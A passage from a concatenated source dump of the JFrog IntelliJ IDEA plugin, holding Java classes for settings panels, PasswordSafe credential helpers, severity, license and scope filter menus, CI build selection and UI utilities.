connectionOptionsRestoreDefaultsActionLink.addActionListener(e -> ApplicationManager.getApplication().executeOnPooledThread(() -> { connectionRetries.setValue(ConnectionRetriesSpinner.RANGE.initial); connectionTimeout.setValue(ConnectionTimeoutSpinner.RANGE.initial); })); } /** * Initialize the "Restore Defaults" button of the "Scan Options" section in the "Advanced" tab. */ private void initScanOptionsRestoreDefaultsActionLink() { scanOptionsRestoreDefaultsActionLink.addActionListener(e -> ApplicationManager.getApplication().executeOnPooledThread(() -> { excludedPaths.setText(DEFAULT_EXCLUSIONS); })); } /** * Initialize the "Plugin Resources" components in the "Advanced" tab. */ private void initPluginResourcesComponents() { downloadResourcesFromReleasesRadioButton.addActionListener(e -> ApplicationManager.getApplication().executeOnPooledThread(() -> { updateExternalRepositoryFields(); })); downloadResourcesThroughArtifactoryRadioButton.addActionListener(e -> ApplicationManager.getApplication().executeOnPooledThread(() -> { updateExternalRepositoryFields(); })); // This is needed for the links in the labels to work pluginResourcesDescJBLabel.setCopyable(true); releasesRepoLinkJBLabel.setCopyable(true); } private void updateExternalRepositoryFields() { boolean enabled = downloadResourcesThroughArtifactoryRadioButton.isSelected(); repositoryNameJLabel.setEnabled(enabled); repositoryNameJBTextField.setEnabled(enabled); repositoryNameDescJLabel.setEnabled(enabled); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/configuration/JFrogProjectConfiguration.form ================================================
================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/configuration/JFrogProjectConfiguration.java ================================================ package com.jfrog.ide.idea.ui.configuration; import com.intellij.ide.util.PropertiesComponent; import com.intellij.openapi.application.ApplicationManager; import com.intellij.openapi.options.Configurable; import com.intellij.openapi.project.Project; import com.intellij.ui.components.JBTextField; import com.intellij.util.messages.MessageBus; import com.jfrog.ide.idea.events.ApplicationEvents; import org.apache.commons.lang3.StringUtils; import org.jetbrains.annotations.Nullable; import javax.swing.*; import static org.apache.commons.lang3.StringUtils.trim; /** * @author yahavi **/ public class JFrogProjectConfiguration implements Configurable, Configurable.NoScroll { public static final String BUILDS_PATTERN_KEY = "buildsPattern"; private JBTextField buildsPattern; private final Project project; private JPanel config; public JFrogProjectConfiguration(Project project) { this.project = project; } @Override public String getDisplayName() { return "CI Integration"; } @Override public @Nullable JComponent createComponent() { return config; } @Override public boolean isModified() { PropertiesComponent propertiesComponent = PropertiesComponent.getInstance(project); return !StringUtils.equals(propertiesComponent.getValue(BUILDS_PATTERN_KEY), buildsPattern.getText()); } @Override public void apply() { PropertiesComponent propertiesComponent = PropertiesComponent.getInstance(project); propertiesComponent.setValue(BUILDS_PATTERN_KEY, trim(buildsPattern.getText())); MessageBus messageBus = ApplicationManager.getApplication().getMessageBus(); messageBus.syncPublisher(ApplicationEvents.ON_BUILDS_CONFIGURATION_CHANGE).update(); } @Override public void reset() { loadConfig(); } private void loadConfig() { buildsPattern.getEmptyText().setText("Example: my-build-*"); buildsPattern.setInputVerifier(new BuildsVerifier(buildsPattern)); PropertiesComponent propertiesComponent = PropertiesComponent.getInstance(project); String buildPattern = propertiesComponent.getValue(BUILDS_PATTERN_KEY); if (buildPattern != null) { buildsPattern.setText(buildPattern); } } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/configuration/Utils.java ================================================ package com.jfrog.ide.idea.ui.configuration; import com.intellij.credentialStore.CredentialAttributes; import com.intellij.credentialStore.CredentialAttributesKt; import com.intellij.credentialStore.Credentials; import com.intellij.ide.BrowserUtil; import com.intellij.ide.passwordSafe.PasswordSafe; import com.intellij.openapi.ui.MessageType; import com.intellij.openapi.ui.popup.JBPopupFactory; import com.intellij.ui.HyperlinkLabel; import com.intellij.util.Time; import com.intellij.util.ui.UIUtil; import javax.swing.*; import javax.swing.text.JTextComponent; import java.awt.event.FocusAdapter; import java.awt.event.FocusEvent; import java.util.Arrays; import static org.apache.commons.lang3.StringUtils.*; /** * @author yahavi **/ public class Utils { /** * Set active background for hovering. * * @param label - The label to set */ public static void setActiveForegroundColor(JLabel label) { label.setForeground(UIUtil.isUnderDarcula() ? UIUtil.getActiveTextColor() : UIUtil.getTextAreaForeground()); } /** * Set inactive background for hovering. * * @param label - The label to set */ public static void setInactiveForegroundColor(JLabel label) { label.setForeground(UIUtil.isUnderDarcula() ? UIUtil.getHeaderInactiveColor() : UIUtil.getInactiveTextColor()); } /** * Clear text for multiple text fields. * * @param textFields - The text fields */ public static void clearText(JTextField... textFields) { Arrays.stream(textFields).forEach(textField -> textField.setText("")); } /** * Get credentials from PasswordSafe if exist. Otherwise, null. * * @param subsystem - The subsystem key in the PasswordSafe, typically com.jfrog.idea * @param key - The key inside the plugin settings, typically password * @return credentials from PasswordSafe if exist. Otherwise, null. */ public static Credentials retrieveCredentialsFromPasswordSafe(String subsystem, String key) { if (isBlank(key)) { return null; } try { return PasswordSafe.getInstance().get(createCredentialAttributes(subsystem, key)); } catch (Exception e) { return null; } } /** * Store credentials in PasswordSafe. * * @param subsystem - The subsystem key in the PasswordSafe, typically com.jfrog.idea * @param key - The key inside the plugin settings, typically password * @param credentials - The credentials to store */ public static void storeCredentialsInPasswordSafe(String subsystem, String key, Credentials credentials) { if (isBlank(key)) { return; } PasswordSafe.getInstance().set(createCredentialAttributes(subsystem, key), credentials); } /** * Remove credentials from PasswordSafe. * * @param subsystem - The subsystem key in the PasswordSafe, typically com.jfrog.idea * @param key - The key inside the plugin settings, typically password */ public static void removeCredentialsInPasswordSafe(String subsystem, String key) { storeCredentialsInPasswordSafe(subsystem, key, null); } /** * Create credentials attributes to use as the key in the PasswordSafe. * * @param subsystem - The subsystem key in the PasswordSafe, typically com.jfrog.idea * @param key - The key inside the plugin settings, typically password * @return the new credentials attributes. */ public static CredentialAttributes createCredentialAttributes(String subsystem, String key) { return new CredentialAttributes(CredentialAttributesKt.generateServiceName(subsystem, key)); } /** * Set the input HyperlinkLabel * * @param label - The hyperlink label to set * @param text - The text * @param link - The link */ @SuppressWarnings("UnstableApiUsage") public static void initHyperlinkLabel(HyperlinkLabel label, String text, String link) { label.setTextWithHyperlink(" " + text); label.addHyperlinkListener(l -> BrowserUtil.browse(link)); label.setForeground(UIUtil.getInactiveTextColor()); } /** * Create the connection results balloon. * * @param message - Connection results text * @param component - The component to show the results on */ public static void createConnectionResultsBalloon(String message, JComponent component) { JBPopupFactory.getInstance().createHtmlTextBalloonBuilder(message, MessageType.ERROR, null) .setHideOnClickOutside(true) .setHideOnKeyOutside(true) .setFadeoutTime(Time.SECOND * 10) .setDialogMode(true) .setTitle("Connection Testing") .createBalloon().showInCenterOf(component); } /** * Add a temporary red border to a text component. The border disappear after gaining the focus. * * @param component - The text component */ public static void addRedBorder(JTextComponent component) { component.setBorder(BorderFactory.createLineBorder(UIUtil.getErrorForeground())); component.addFocusListener(new FocusAdapter() { @Override public void focusGained(FocusEvent e) { component.setBorder(UIUtil.getTextFieldBorder()); component.removeFocusListener(this); } }); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/menus/MenuCheckbox.java ================================================ package com.jfrog.ide.idea.ui.menus; import com.intellij.ui.components.JBCheckBoxMenuItem; import java.awt.event.MouseEvent; /** * Created by Yahav Itzhak on 22 Nov 2017. */ public class MenuCheckbox extends JBCheckBoxMenuItem { @Override protected void processMouseEvent(MouseEvent evt) { if (evt.getID() == MouseEvent.MOUSE_RELEASED && contains(evt.getPoint())) { doClick(); setArmed(true); return; } super.processMouseEvent(evt); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/menus/SelectAllCheckbox.java ================================================ package com.jfrog.ide.idea.ui.menus; import com.intellij.openapi.application.ApplicationManager; import com.intellij.ui.components.JBCheckBoxMenuItem; import com.intellij.util.messages.MessageBus; import com.intellij.util.messages.Topic; import com.jfrog.ide.idea.events.ApplicationEvents; import org.jetbrains.annotations.NotNull; import java.awt.event.ItemListener; import java.util.List; import java.util.Map; /** * Created by Yahav Itzhak on 22 Nov 2017. */ public class SelectAllCheckbox extends MenuCheckbox { private final Topic syncEvent; // If falsy, disable triggers private boolean active = true; public SelectAllCheckbox(Topic syncEvent) { this.syncEvent = syncEvent; setText("All"); setSelected(true); } public void setListeners(@NotNull Map selectionMap, @NotNull List> checkBoxMenuItems) { removeListeners(); addItemListener(e -> { if (!active) { return; } selectionMap.entrySet().forEach(booleanEntry -> booleanEntry.setValue(isSelected())); for (JBCheckBoxMenuItem i : checkBoxMenuItems) { if (i.isSelected() != isSelected()) { i.getModel().setPressed(isSelected()); i.getModel().setSelected(isSelected()); } } MessageBus messageBus = ApplicationManager.getApplication().getMessageBus(); messageBus.syncPublisher(syncEvent).update(); }); } /** * Set button checked without triggering the listeners. * * @param checked - true if the button is checked, otherwise false */ public void setChecked(boolean checked) { this.active = false; setSelected(checked); this.active = true; } private void removeListeners() { for (ItemListener itemListener : getItemListeners()) { removeItemListener(itemListener); } } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/menus/SelectionCheckbox.java ================================================ package com.jfrog.ide.idea.ui.menus; import com.intellij.openapi.application.ApplicationManager; import com.intellij.util.messages.MessageBus; import com.intellij.util.messages.Topic; import com.jfrog.ide.idea.events.ApplicationEvents; import org.jetbrains.annotations.NotNull; import java.util.Map; /** * Created by Yahav Itzhak on 22 Nov 2017. */ public class SelectionCheckbox extends MenuCheckbox { public SelectionCheckbox(@NotNull Map selectionMap, @NotNull FilterType item, Topic syncEvent) { setText(item.toString()); setState(selectionMap.get(item)); addItemListener(e -> { selectionMap.replace(item, isSelected()); MessageBus messageBus = ApplicationManager.getApplication().getMessageBus(); messageBus.syncPublisher(syncEvent).update(); }); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/menus/ToolbarPopupMenu.java ================================================ package com.jfrog.ide.idea.ui.menus; import com.intellij.openapi.project.Project; import com.intellij.openapi.ui.JBPopupMenu; import com.jfrog.ide.idea.ui.components.MenuButton; import org.jetbrains.annotations.NotNull; import javax.swing.*; /** * Represents a toolbar menu. Base class for all filter and export menus. * * @author yahavi **/ public abstract class ToolbarPopupMenu extends JBPopupMenu { protected final MenuButton menuButton; protected final Project project; public ToolbarPopupMenu(@NotNull Project project, String name, String tooltip, Icon icon) { this.project = project; this.menuButton = new MenuButton(this, name, tooltip, icon); } public MenuButton getMenuButton() { return menuButton; } /** * Refresh the menu items. Invoked after a change in the dependency tree. */ public abstract void refresh(); } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/menus/builds/BuildsButton.java ================================================ package com.jfrog.ide.idea.ui.menus.builds; import com.intellij.icons.AllIcons; import com.intellij.openapi.Disposable; import com.intellij.openapi.project.Project; import com.intellij.util.messages.MessageBus; import com.intellij.util.messages.Topic; import com.jfrog.ide.common.ci.BuildGeneralInfo; import com.jfrog.ide.idea.Syncable; import com.jfrog.ide.idea.ci.CiManager; import com.jfrog.ide.idea.events.ApplicationEvents; import com.jfrog.ide.idea.events.BuildEvents; import com.jfrog.ide.idea.log.Logger; import com.jfrog.ide.idea.ui.menus.filtermanager.CiFilterManager; import org.apache.commons.lang3.StringUtils; import javax.swing.*; import java.awt.event.ItemEvent; import java.awt.event.ItemListener; /** * Created by Yahav Itzhak on 22 Nov 2017. */ public class BuildsButton extends JComboBox implements Syncable, Disposable { private ItemListener onSelectBuildListener; private final Project project; public BuildsButton(Project project) { this.project = project; setRenderer(new BuildsCellRenderer()); } @Override public Topic getSyncEvent() { return ApplicationEvents.ON_CI_FILTER_CHANGE; } public void setOnSelectBuildListener() { onSelectBuildListener = new OnSelectBuildListener(); addItemListener(onSelectBuildListener); } public void removeOnSelectBuildListener() { if (onSelectBuildListener != null) { removeItemListener(onSelectBuildListener); } } private class OnSelectBuildListener implements ItemListener { @Override public void itemStateChanged(ItemEvent e) { if (e.getStateChange() == ItemEvent.SELECTED) { String selectedBuild = (String) e.getItem(); CiFilterManager.getInstance(project).getSelectableBuilds() .forEach(selectableItem -> selectableItem.setValue(StringUtils.equals(selectedBuild, selectableItem.getKey()))); MessageBus messageBus = project.getMessageBus(); messageBus.syncPublisher(getSyncEvent()).update(); BuildGeneralInfo generalInfo = CiManager.getInstance(project).getBuildGeneralInfo(selectedBuild); if (generalInfo == null) { String msg = String.format("Couldn't find build '%s' within the build results.", selectedBuild); Logger.getInstance().error(msg); return; } messageBus.syncPublisher(BuildEvents.ON_SELECTED_BUILD).update(generalInfo); } } } private static class BuildsCellRenderer extends DefaultListCellRenderer { @Override public void setIcon(Icon icon) { super.setIcon(AllIcons.General.GearPlain); } } @Override public void dispose() { removeOnSelectBuildListener(); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/menus/builds/BuildsMenu.java ================================================ package com.jfrog.ide.idea.ui.menus.builds; import com.intellij.openapi.project.Project; import com.intellij.openapi.ui.JBPopupMenu; import com.intellij.ui.ComboboxSpeedSearch; import com.jfrog.ide.idea.ui.menus.filtermanager.CiFilterManager; /** * Created by Yahav Itzhak on 22 Nov 2017. */ public class BuildsMenu extends JBPopupMenu { private final ComboboxSpeedSearch buildsButton; private final Project project; public BuildsMenu(Project project) { this.project = project; this.buildsButton = new ComboboxSpeedSearch(new BuildsButton(project)); } public void refresh() { BuildsButton buildsButton = getBuildButton(); // Remove all builds buildsButton.removeOnSelectBuildListener(); buildsButton.removeAllItems(); // Add builds from to the collected builds information in the last builds scan CiFilterManager.getInstance(project).getSelectableBuilds().forEach(build -> { String item = build.getKey(); buildsButton.addItem(item); if (build.getValue()) { buildsButton.setSelectedItem(item); } }); buildsButton.setOnSelectBuildListener(); } public BuildsButton getBuildButton() { return (BuildsButton) buildsButton.getComponent(); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/menus/filtermanager/CiFilterManager.java ================================================ package com.jfrog.ide.idea.ui.menus.filtermanager; import com.intellij.openapi.components.State; import com.intellij.openapi.project.Project; import com.intellij.util.messages.Topic; import com.jfrog.ide.idea.events.ApplicationEvents; import org.jetbrains.annotations.NotNull; import org.jfrog.build.extractor.scan.DependencyTree; import javax.swing.tree.DefaultMutableTreeNode; /** * @author yahavi */ @State(name = "CiFilterState") public class CiFilterManager extends ConsistentFilterManager { public CiFilterManager(Project project) { super(project); } public static CiFilterManager getInstance(@NotNull Project project) { return project.getService(CiFilterManager.class); } public void collectBuildsInformation(DependencyTree root) { clearBuilds(); root.getChildren().stream() .map(DefaultMutableTreeNode::getUserObject) .map(Object::toString) .forEach(this::addBuild); } @Override public Topic getSyncEvent() { return ApplicationEvents.ON_CI_FILTER_CHANGE; } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/menus/filtermanager/ConsistentFilterManager.java ================================================ package com.jfrog.ide.idea.ui.menus.filtermanager; import com.intellij.openapi.components.PersistentStateComponent; import com.intellij.openapi.project.Project; import com.jfrog.ide.common.filter.FilterManager; import com.jfrog.ide.idea.Syncable; import org.jetbrains.annotations.NotNull; import org.jfrog.build.extractor.scan.License; import org.jfrog.build.extractor.scan.Scope; import org.jfrog.build.extractor.scan.Severity; import java.util.HashMap; import java.util.Map; /** * @author yahavi */ public abstract class ConsistentFilterManager extends FilterManager implements PersistentStateComponent, Syncable { private final Project project; private FiltersState state; public ConsistentFilterManager(Project project) { this.project = project; } /** * Only on first scan after project opens, update the selected-licenses from state. * After updating, set state's licenses map to null. * * @return Selected licenses map according to persisted state. */ public Map getSelectedLicenses() { Map selectedLicenses = super.getSelectedLicenses(); if (state == null || state.selectedLicences == null) { return selectedLicenses; } // Previous state exists. for (License license : selectedLicenses.keySet()) { if (state.selectedLicences.containsKey(license.getName())) { selectedLicenses.put(license, state.selectedLicences.get(license.getName())); } } state.selectedLicences = null; // Update components tree with applied filters. if (selectedLicenses.containsValue(false)) { project.getMessageBus().syncPublisher(getSyncEvent()).update(); } return selectedLicenses; } /** * Only on first scan after project opens, update the selected-scopes from state. * After updating, set state's scopes map to null. * * @return Selected scopes map according to persisted state. */ @Override public Map getSelectedScopes() { Map selectedScopes = super.getSelectedScopes(); if (state == null || state.selectedScopes == null) { return selectedScopes; } // Previous state exists. for (Scope scope : selectedScopes.keySet()) { if (state.selectedScopes.containsKey(scope.getName())) { selectedScopes.put(scope, state.selectedScopes.get(scope.getName())); } } state.selectedScopes = null; // Update components tree with applied filters. if (selectedScopes.containsValue(false)) { project.getMessageBus().syncPublisher(getSyncEvent()).update(); } return selectedScopes; } static class FiltersState { public Map selectedSeverities; public Map selectedLicences; public Map selectedScopes; } @Override public FiltersState getState() { FiltersState state = new FiltersState(); state.selectedSeverities = getSelectedSeverities(); // Persist only license name and whether it is selected or not. state.selectedLicences = new HashMap<>(); super.getSelectedLicenses().forEach((license, selected) -> state.selectedLicences.put(license.getName(), selected)); // Persist only scope name and whether it is selected or not. state.selectedScopes = new HashMap<>(); super.getSelectedScopes().forEach((scope, selected) -> state.selectedScopes.put(scope.getName(), selected)); return state; } @Override public void loadState(@NotNull FiltersState state) { this.state = state; setSelectedSeverities(state.selectedSeverities); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/menus/filtermenu/CiIssueFilterMenu.java ================================================ package com.jfrog.ide.idea.ui.menus.filtermenu; import com.intellij.openapi.project.Project; import com.intellij.util.messages.Topic; import com.jfrog.ide.idea.events.ApplicationEvents; import com.jfrog.ide.idea.ui.menus.filtermanager.CiFilterManager; import org.jetbrains.annotations.NotNull; /** * Created by Yahav Itzhak on 22 Nov 2017. */ public class CiIssueFilterMenu extends IssueFilterMenu { public CiIssueFilterMenu(@NotNull Project project) { super(project, CiFilterManager.getInstance(project)); } @Override public Topic getSyncEvent() { return ApplicationEvents.ON_CI_FILTER_CHANGE; } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/menus/filtermenu/CiLicenseFilterMenu.java ================================================ package com.jfrog.ide.idea.ui.menus.filtermenu; import com.intellij.openapi.project.Project; import com.intellij.util.messages.Topic; import com.jfrog.ide.idea.ci.CiManager; import com.jfrog.ide.idea.events.ApplicationEvents; import com.jfrog.ide.idea.ui.menus.filtermanager.CiFilterManager; import org.jetbrains.annotations.NotNull; import org.jfrog.build.extractor.scan.License; import java.util.Map; /** * Created by Yahav Itzhak on 23 Nov 2017. */ public class CiLicenseFilterMenu extends LicenseFilterMenu { public CiLicenseFilterMenu(@NotNull Project project) { super(project); } @Override public void refresh() { Map selectedLicenses = CiFilterManager.getInstance(project).getSelectedLicenses(); CiManager.getInstance(project).getAllLicenses().stream() .filter(license -> !selectedLicenses.containsKey(license)) .forEach(license -> selectedLicenses.put(license, true)); addComponents(selectedLicenses, true); super.refresh(); } @Override public Topic getSyncEvent() { return ApplicationEvents.ON_CI_FILTER_CHANGE; } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/menus/filtermenu/CiScopeFilterMenu.java ================================================ package com.jfrog.ide.idea.ui.menus.filtermenu; import com.intellij.openapi.project.Project; import com.intellij.util.messages.Topic; import com.jfrog.ide.idea.ci.CiManager; import com.jfrog.ide.idea.events.ApplicationEvents; import com.jfrog.ide.idea.ui.menus.filtermanager.CiFilterManager; import org.jetbrains.annotations.NotNull; import org.jfrog.build.extractor.scan.Scope; import java.util.Map; /** * Created by Yahav Itzhak on 22 Nov 2017. */ public class CiScopeFilterMenu extends ScopeFilterMenu { public CiScopeFilterMenu(@NotNull Project project) { super(project); } @Override public void refresh() { // Get selected scopes Map selectedScopes = CiFilterManager.getInstance(project).getSelectedScopes(); // Hide the button if there are no scopes - for example in Go projects if (selectedScopes.size() == 1 && selectedScopes.containsKey(new Scope())) { menuButton.setVisible(false); return; } if (!menuButton.isVisible()) { menuButton.setVisible(true); } // Add checkboxes and triggers CiManager.getInstance(project).getAllScopes() .stream() .filter(scope -> !selectedScopes.containsKey(scope)) .forEach(scope -> selectedScopes.put(scope, true)); addComponents(selectedScopes, true); super.refresh(); } @Override public Topic getSyncEvent() { return ApplicationEvents.ON_CI_FILTER_CHANGE; } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/menus/filtermenu/FilterMenu.java ================================================ package com.jfrog.ide.idea.ui.menus.filtermenu; import com.intellij.icons.AllIcons; import com.intellij.openapi.project.Project; import com.jfrog.ide.idea.Syncable; import com.jfrog.ide.idea.ui.components.MenuButton; import com.jfrog.ide.idea.ui.menus.MenuCheckbox; import com.jfrog.ide.idea.ui.menus.SelectAllCheckbox; import com.jfrog.ide.idea.ui.menus.SelectionCheckbox; import com.jfrog.ide.idea.ui.menus.ToolbarPopupMenu; import org.apache.commons.compress.utils.Lists; import org.apache.commons.lang3.StringUtils; import org.jetbrains.annotations.NotNull; import javax.swing.*; import java.util.Arrays; import java.util.Comparator; import java.util.List; import java.util.Map; /** * Created by Yahav Itzhak on 22 Nov 2017. */ public abstract class FilterMenu extends ToolbarPopupMenu implements Syncable { private final SelectAllCheckbox selectAllCheckbox = new SelectAllCheckbox<>(getSyncEvent()); private final List> checkBoxMenuItems = Lists.newArrayList(); protected FilterMenu(@NotNull Project project, String name, String tooltip) { super(project, name, tooltip, AllIcons.General.Filter); } @Override public void refresh() { menuButton.indicateFilterEnable(checkBoxMenuItems.stream().anyMatch(checkBoxMenuItem -> !checkBoxMenuItem.isSelected())); } public MenuButton getFilterButton() { return menuButton; } /** * Add all menu's components in 3 steps: Set 'All' checkbox, set listeners and add the required components. * * @param selectionMap - Map between FilterType and boolean that represents whether the filter is checked or not * @param putUnknownLast - Put the unknown checkbox last in the filters list */ protected void addComponents(@NotNull Map selectionMap, boolean putUnknownLast) { setSelectAllCheckbox(selectionMap); setListeners(selectionMap); addCheckboxes(putUnknownLast); } /** * Set 'All' checkbox. If all checkboxes are checked make 'All' checked. * Otherwise - If there is one filter applied make 'All' unchecked. * * @param selectionMap - map between FilterType and boolean that represents whether the filter is checked or not */ private void setSelectAllCheckbox(Map selectionMap) { selectAllCheckbox.setChecked(!selectionMap.containsValue(false)); } private void setListeners(Map selectionMap) { selectionMap.keySet().stream() .filter(item -> checkBoxMenuItems.stream() .map(AbstractButton::getText) .noneMatch(text -> StringUtils.equals(text, item.toString()))) .map(key -> new SelectionCheckbox<>(selectionMap, key, getSyncEvent())) .forEach(checkBoxMenuItems::add); selectAllCheckbox.setListeners(selectionMap, checkBoxMenuItems); } private void addCheckboxes(boolean putUnknownLast) { if (isCheckboxNew(selectAllCheckbox)) { add(selectAllCheckbox); } if (putUnknownLast) { checkBoxMenuItems.stream() .filter(this::isCheckboxNew) .sorted(Comparator.comparing(item -> "Unknown".equals(item.getText()))) .forEach(this::add); } else { checkBoxMenuItems.forEach(this::add); } } /** * This method is a filter for adding the filter checkboxes. * If the filter is already exist in the list, we should not add it again. * * @param checkBoxMenuItem - The checkbox item to check. * @return true if the checkbox is new. False otherwise. */ private boolean isCheckboxNew(MenuCheckbox checkBoxMenuItem) { return Arrays.stream(getComponents()) .map(component -> (MenuCheckbox) component) .noneMatch(component -> component.getText().equals(checkBoxMenuItem.getText())); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/menus/filtermenu/IssueFilterMenu.java ================================================ package com.jfrog.ide.idea.ui.menus.filtermenu; import com.intellij.openapi.project.Project; import com.jfrog.ide.common.filter.FilterManager; import org.jetbrains.annotations.NotNull; import org.jfrog.build.extractor.scan.Severity; import java.util.Map; /** * Created by Yahav Itzhak on 22 Nov 2017. */ public abstract class IssueFilterMenu extends FilterMenu { public static final String TOOLTIP = "Select severities to show"; public static final String NAME = "Severity"; public IssueFilterMenu(@NotNull Project project, FilterManager filterManager) { super(project, NAME, TOOLTIP); Map severitiesFilters = filterManager.getSelectedSeverities(); addComponents(severitiesFilters, false); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/menus/filtermenu/LicenseFilterMenu.java ================================================ package com.jfrog.ide.idea.ui.menus.filtermenu; import com.intellij.openapi.project.Project; import org.jetbrains.annotations.NotNull; import org.jfrog.build.extractor.scan.License; /** * Created by Yahav Itzhak on 23 Nov 2017. */ public abstract class LicenseFilterMenu extends FilterMenu { public static final String NAME = "License"; public static final String TOOLTIP = "Select licenses to show"; public LicenseFilterMenu(@NotNull Project project) { super(project, NAME, TOOLTIP); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/menus/filtermenu/ScopeFilterMenu.java ================================================ package com.jfrog.ide.idea.ui.menus.filtermenu; import com.intellij.openapi.project.Project; import org.jetbrains.annotations.NotNull; import org.jfrog.build.extractor.scan.Scope; /** * Created by Yahav Itzhak on 22 Nov 2017. */ public abstract class ScopeFilterMenu extends FilterMenu { public static final String NAME = "Scope"; public static final String TOOLTIP = "Select scopes to show"; public ScopeFilterMenu(@NotNull Project project) { super(project, NAME, TOOLTIP); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/utils/ComponentUtils.java ================================================ package com.jfrog.ide.idea.ui.utils; import com.intellij.ide.BrowserUtil; import com.intellij.openapi.options.ShowSettingsUtil; import com.intellij.ui.HyperlinkLabel; import com.intellij.ui.components.JBLabel; import com.intellij.ui.components.JBPanel; import com.intellij.util.ui.JBInsets; import com.intellij.util.ui.UIUtil; import com.jfrog.ide.idea.ui.configuration.JFrogGlobalConfiguration; import javax.swing.*; import javax.swing.tree.TreePath; import java.awt.*; /** * Created by romang on 5/7/17. */ public class ComponentUtils { public static JTextArea createJTextArea(String text, boolean lineWrap) { JTextArea jTextArea = new JTextArea(text); jTextArea.setOpaque(true); jTextArea.setEditable(false); jTextArea.setLineWrap(lineWrap); jTextArea.setWrapStyleWord(true); jTextArea.setBackground(UIUtil.getTableBackground()); jTextArea.setMargin(new JBInsets(2, 2, 2, 2)); return jTextArea; } public static JLabel createDisabledTextLabel(String text) { JLabel label = new JBLabel(text); label.setEnabled(false); label.setHorizontalAlignment(SwingConstants.CENTER); return label; } public static JComponent createNoCredentialsView() { JPanel noCredentialsPanel = new JBPanel<>(); noCredentialsPanel.setLayout(new BoxLayout(noCredentialsPanel, BoxLayout.PAGE_AXIS)); // "Thank you for installing the JFrog plugin" JBLabel thanksLabel = new JBLabel(); thanksLabel.setText("Thank you for installing the JFrog IntelliJ IDEA Plugin!"); addCenteredComponent(noCredentialsPanel, thanksLabel); // "If you already have a JFrog environment, configure its connection details." HyperlinkLabel configLink = new HyperlinkLabel(); configLink.setTextWithHyperlink("If you already have a JFrog environment,configure its connection details."); configLink.addHyperlinkListener(e -> ShowSettingsUtil.getInstance().showSettingsDialog(null, JFrogGlobalConfiguration.class)); addCenteredComponent(noCredentialsPanel, configLink); // "Don't have a JFrog environment? Get one for FREE!" HyperlinkLabel getFreeLink = new HyperlinkLabel(); getFreeLink.setTextWithHyperlink("Don't have a JFrog environment?Get one for FREE!"); getFreeLink.addHyperlinkListener(e -> BrowserUtil.browse("https://github.com/jfrog/jfrog-idea-plugin#set-up-a-free-jfrog-environment-in-the-cloud")); addCenteredComponent(noCredentialsPanel, getFreeLink); // "Read more about the plugin." HyperlinkLabel readMoreLink = new HyperlinkLabel(); readMoreLink.setTextWithHyperlink("Read more about the plugin."); readMoreLink.addHyperlinkListener(e -> BrowserUtil.browse("https://github.com/jfrog/jfrog-idea-plugin#readme")); addCenteredComponent(noCredentialsPanel, readMoreLink); return createUnsupportedPanel(noCredentialsPanel); } /** * Add centered {@link JComponent} to the input panel. * * @param panel - The input panel * @param component - The component to add */ public static void addCenteredComponent(JPanel panel, JComponent component) { component.setMaximumSize(component.getPreferredSize()); component.setAlignmentX(Component.CENTER_ALIGNMENT); panel.add(component); } public static JComponent createNoBuildsView() { HyperlinkLabel link = new HyperlinkLabel(); link.setTextWithHyperlink("No builds detected. To start viewing your builds please follow this guide."); link.addHyperlinkListener(e -> BrowserUtil.browse("https://github.com/jfrog/jfrog-idea-plugin#the-ci-view")); return createUnsupportedPanel(link); } public static JPanel createUnsupportedPanel(Component label) { JBPanel panel = new JBPanel<>(new GridBagLayout()); GridBagConstraints c = new GridBagConstraints(); c.fill = GridBagConstraints.BOTH; c.anchor = GridBagConstraints.CENTER; panel.add(label, c); panel.setBackground(UIUtil.getTableBackground()); return panel; } public static String getPathSearchString(TreePath path) { return path.getLastPathComponent().toString(); } public static void replaceAndUpdateUI(JPanel panel, JComponent component, Object constraint) { panel.removeAll(); panel.add(component, constraint); panel.validate(); panel.repaint(); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/utils/IconUtils.java ================================================ package com.jfrog.ide.idea.ui.utils; import com.google.common.collect.Maps; import com.intellij.openapi.util.IconLoader; import javax.swing.*; import java.util.Map; /** * Created by romang on 4/12/17. */ public class IconUtils { private static final Icon defaultIcon = getIcon("unknown"); private static final Map icons = Maps.newHashMap(); public static Icon load(String icon) { if (!icons.containsKey(icon)) { try { icons.put(icon, getIcon(icon)); } catch (Exception e) { return defaultIcon; } } return icons.get(icon); } private static Icon getIcon(String icon) { return IconLoader.findIcon("/icons/" + icon.toLowerCase() + ".svg", IconUtils.class); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/webview/WebviewManager.java ================================================ package com.jfrog.ide.idea.ui.webview; import com.intellij.openapi.Disposable; import com.intellij.openapi.project.Project; import com.intellij.openapi.util.Disposer; import com.intellij.ui.jcef.JBCefBrowser; import com.jfrog.ide.idea.log.Logger; import com.jfrog.ide.idea.ui.JfrogContextMenuHandler; import com.jfrog.ide.idea.ui.webview.event.EventManager; import com.jfrog.ide.idea.ui.webview.event.model.WebviewEvent; import org.cef.CefApp; import org.cef.CefSettings; import org.cef.browser.CefBrowser; import org.cef.browser.CefFrame; import org.cef.handler.CefDisplayHandlerAdapter; import org.cef.handler.CefLoadHandlerAdapter; import org.jetbrains.annotations.NotNull; public class WebviewManager implements Disposable { private final JBCefBrowser jbCefBrowser; public EventManager eventManager; private boolean schemeHandlerRegistered = false; public WebviewManager(@NotNull Project project, Runnable onLoadEnd) { jbCefBrowser = new JBCefBrowser(); // EventManager must be created before the webview is initialized eventManager = new 